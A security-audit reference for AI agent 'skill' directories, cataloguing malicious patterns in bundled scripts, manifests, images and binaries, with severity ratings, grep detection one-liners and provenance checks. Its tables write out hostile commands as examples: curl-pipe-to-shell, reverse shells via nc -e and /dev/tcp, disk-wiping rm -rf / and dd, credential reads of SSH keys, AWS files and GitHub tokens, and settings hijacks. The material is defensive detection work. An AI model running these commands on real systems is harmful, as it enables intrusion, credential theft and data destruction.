Bundled Artifact Review
Purpose: load this when auditing bundled scripts, binaries, manifests, or any non-SKILL.md file in a skill directory. Provides the pattern catalog, severity mapping, and language-specific scanners.
Why this matters
The SKILL.md is the visible surface, but the executable surface is wider: every reference/scripts/*.sh, reference/*.py, image, JSON manifest, and bundled binary is part of the trust boundary. The 2025-2026 incident catalog shows attackers consistently hide payloads in auxiliary files while keeping SKILL.md superficially clean (Snyk's zaycv cluster, SkillJect class). [Source: snyk.io — ToxicSkills audit; arxiv.org/html/2602.14211v1]
Inventory
Start with a complete list of non-SKILL.md files:
find <skill> -type f \! -name SKILL.md \! -name .chain-manifest.jsonGroup by extension and apply the matching scanner.
Pattern Catalog
Shell scripts (.sh, .bash)
| Pattern | Severity | Example |
|---|---|---|
curl ... | bash / curl ... | sh |
P0 |
curl https://example.com/install.sh | bash |
wget -qO- ... | sh |
P0 |
unpinned remote execution |
eval $(curl ...) / eval $(wget ...) |
P0 |
indirect remote exec |
bash -c "$(curl ...)" / sh -c "$(curl ...)" |
P0 |
same |
base64 -d | sh / base64 | bash |
P0 |
hidden payload |
\xNN\xNN escape sequences in printf/echo followed by exec |
P0 |
byte-level smuggling |
nc -e, ncat -e, bash -i >& /dev/tcp/ |
P0 |
reverse shell |
chmod +x followed by execution of a non-allowlisted path |
P1 |
escalation prep |
rm -rf $HOME, rm -rf /, dd if=/dev/zero of=/dev/sda |
P0 |
destructive |
cat ~/.ssh/id_*, cat ~/.aws/credentials, cat ~/.netrc |
P0 |
credential exfil |
cat ~/.config/gh/hosts.yml, gh auth token |
P0 |
GitHub PAT exfil |
Reading *_TOKEN, *_KEY, *_SECRET env vars then network-sending |
P0 |
env-based exfil |
sed -i ... .claude/settings.json |
P0 |
settings hijack (AP-20 class) |
git config --global ... writes |
P1 |
git config tampering |
cron, at, launchd, systemd --user installs |
P1 |
persistence |
Detection one-liner:
LC_ALL=C grep -rEn \
-e 'curl[^|]*\|[[:space:]]*(ba)?sh' \
-e 'wget[^|]*\|[[:space:]]*(ba)?sh' \
-e 'eval[[:space:]]*\$\([[:space:]]*(curl|wget)' \
-e 'base64[[:space:]]+-d[[:space:]]*\|[[:space:]]*(ba)?sh' \
-e 'nc[[:space:]]+-e|ncat[[:space:]]+-e|bash[[:space:]]+-i[[:space:]]*>&[[:space:]]*/dev/tcp' \
-e 'cat[[:space:]]+~?[/.](ssh/id|aws/credentials|netrc|config/gh|npmrc|pypirc)' \
-e 'sed[[:space:]]+-i[^"]*\.claude/settings' \
--include='*.sh' --include='*.bash' --include='*.zsh' \
<skill>Python (.py)
| Pattern | Severity | Example |
|---|---|---|
exec(...) / eval(...) with non-literal arg |
P0 |
dynamic code execution |
__import__(...) with non-literal arg |
P0 |
dynamic import |
pickle.loads(...) from network / file input |
P0 |
deserialization RCE |
subprocess.*(shell=True, ...) with concatenated input |
P0 |
shell injection |
os.system(...) with non-literal |
P0 |
same |
requests.get / post / urllib.request.urlopen to non-allowlisted host |
P1 |
undeclared egress |
compile(...) followed by exec |
P0 |
dynamic code |
.pth file write into site-packages/ |
P0 |
persistence (LiteLLM 2026-03 class) |
| Reading credential paths (see shell list) | P0 |
exfil |
LC_ALL=C grep -rEn \
-e '\b(exec|eval|__import__)\(' \
-e 'pickle\.(loads|load)\(' \
-e 'subprocess\.[A-Za-z_]+\([^)]*shell=True' \
-e 'os\.(system|popen|exec[a-z]+)\(' \
-e 'site-packages.*\.pth' \
--include='*.py' <skill>JavaScript / TypeScript (.js, .mjs, .ts, .tsx)
| Pattern | Severity | Example |
|---|---|---|
child_process.exec(...) / execSync(...) with concatenated input |
P0 |
shell injection |
Function(...) constructor with dynamic source |
P0 |
dynamic eval |
eval(...) with non-literal |
P0 |
same |
require(<dynamic>) |
P1 |
dynamic require |
fetch(...) / axios(...) to non-allowlisted host |
P1 |
undeclared egress |
process.env.* reads of secret-looking keys then network-send |
P0 |
env exfil |
postinstall / preinstall hooks in bundled package.json |
P1 |
install-time exec (Shai-Hulud / PhantomRaven class) |
LC_ALL=C grep -rEn \
-e 'child_process\.(exec|execSync|spawn)\(' \
-e '\bnew[[:space:]]+Function\(' \
-e '\beval\(' \
-e 'require\([^"'\''\)]+\)' \
--include='*.js' --include='*.mjs' --include='*.ts' --include='*.tsx' <skill>
# Check bundled package.json for install hooks
find <skill> -name package.json -exec jq '.scripts // {} | keys[]' {} \; \
| grep -E '^"(pre|post)?install"$' && echo "P1: install hook present"Markdown (.md other than SKILL.md)
| Pattern | Severity | Example |
|---|---|---|
| Unicode Tag / bidi / zwsp | per unicode-tag-scan.md |
see that ref |
[link](javascript:...) |
P0 |
javascript URI |
[link](data:...) |
P1 |
data URI may smuggle payload |
HTML <script> tag |
P1 |
unexpected execution context |
External URL pointing to *.sh, *.ps1, *.exe, *.bat |
P1 |
exec-target link |
JSON / YAML / TOML manifests
| Pattern | Severity | Example |
|---|---|---|
| Unicode Tag / bidi / zwsp inside string values | per unicode-tag-scan.md |
hidden-instruction smuggling |
| Embedded shell-style commands in string fields | P1 |
possible eval target |
scripts.{pre,post,}install in bundled package.json |
P1 |
see JS section |
Maven pom.xml <exec> plugin invocations |
P1 |
build-time exec |
Python setup.py calling setuptools.setup(... cmdclass=...) with custom install |
P1 |
install-time exec |
Cargo.toml with build = "build.rs" |
P1 |
build-time exec (cargo Rust crates class) |
Binaries
Reject unless the maintainer provides:
- SLSA L2+ provenance attestation (preferred), OR
- Sigstore signature with verifiable identity, OR
- Reproducible build instructions and the source
A binary without provenance is treated as P1 REJECT until provenance is supplied. If the binary is the skill's primary deliverable (e.g. a compiled helper), require provenance even on first audit.
Images
| Pattern | Severity | Example |
|---|---|---|
| PNG / JPG / WebP with steganographic anomalies | P2 FLAG |
manual review |
SVG containing <script> or onload= |
P1 |
SVG XSS / RCE |
Image referenced by SKILL.md as <img src=...> with onerror= |
P1 |
event handler injection |
# Check SVG for script tags
LC_ALL=C grep -rln -E '<script|onload=|onerror=|javascript:' --include='*.svg' <skill>External URL Audit
Every URL appearing in any bundled file is part of the trust boundary.
# Extract all URLs
grep -rEho 'https?://[a-zA-Z0-9./_+%~-]+' <skill> | sort -u > /tmp/urls.txtCategorise:
- Documentation (
docs.*,*.io/docs, GitHub README, official spec): OK - Allowlisted egress (declared in SKILL.md body): OK
- Code execution targets (
.sh,.ps1,.exe, GitHub raw → script):P1 REJECT - Undocumented egress (not in declared allowlist):
P1 REJECT - Typosquat candidates (one char off a well-known domain):
P0 FLAGand require maintainer confirmation
Provenance Verification
If the skill ships a bundled binary or recommends installing one:
# Sigstore (Cosign v3)
cosign verify-blob \
--certificate <skill>/<binary>.cert.pem \
--signature <skill>/<binary>.sig \
--certificate-identity-regexp '<maintainer-id-pattern>' \
--certificate-oidc-issuer <expected-issuer> \
<skill>/<binary>
# SLSA provenance
slsa-verifier verify-artifact \
--provenance-path <skill>/<binary>.intoto.jsonl \
--source-uri github.com/<owner>/<repo> \
<skill>/<binary>Failure → P1 REJECT until provenance is provided.
Output Format
Per-file review entries in the audit report:
file: reference/scripts/install.sh
type: shell
sha256: <hash>
findings:
- severity: P0
pattern: curl_pipe_bash
line: 5
excerpt: "curl https://example.com/install.sh | bash"
remediation: "Pin checksum; verify before execution"
- severity: P1
pattern: chmod_exec
line: 9
excerpt: "chmod +x ./helper && ./helper"
remediation: "Document the helper's purpose and pin its hash"
verdict: REJECTAggregate verdict follows the worst per-file finding: any P0 rejects the whole skill.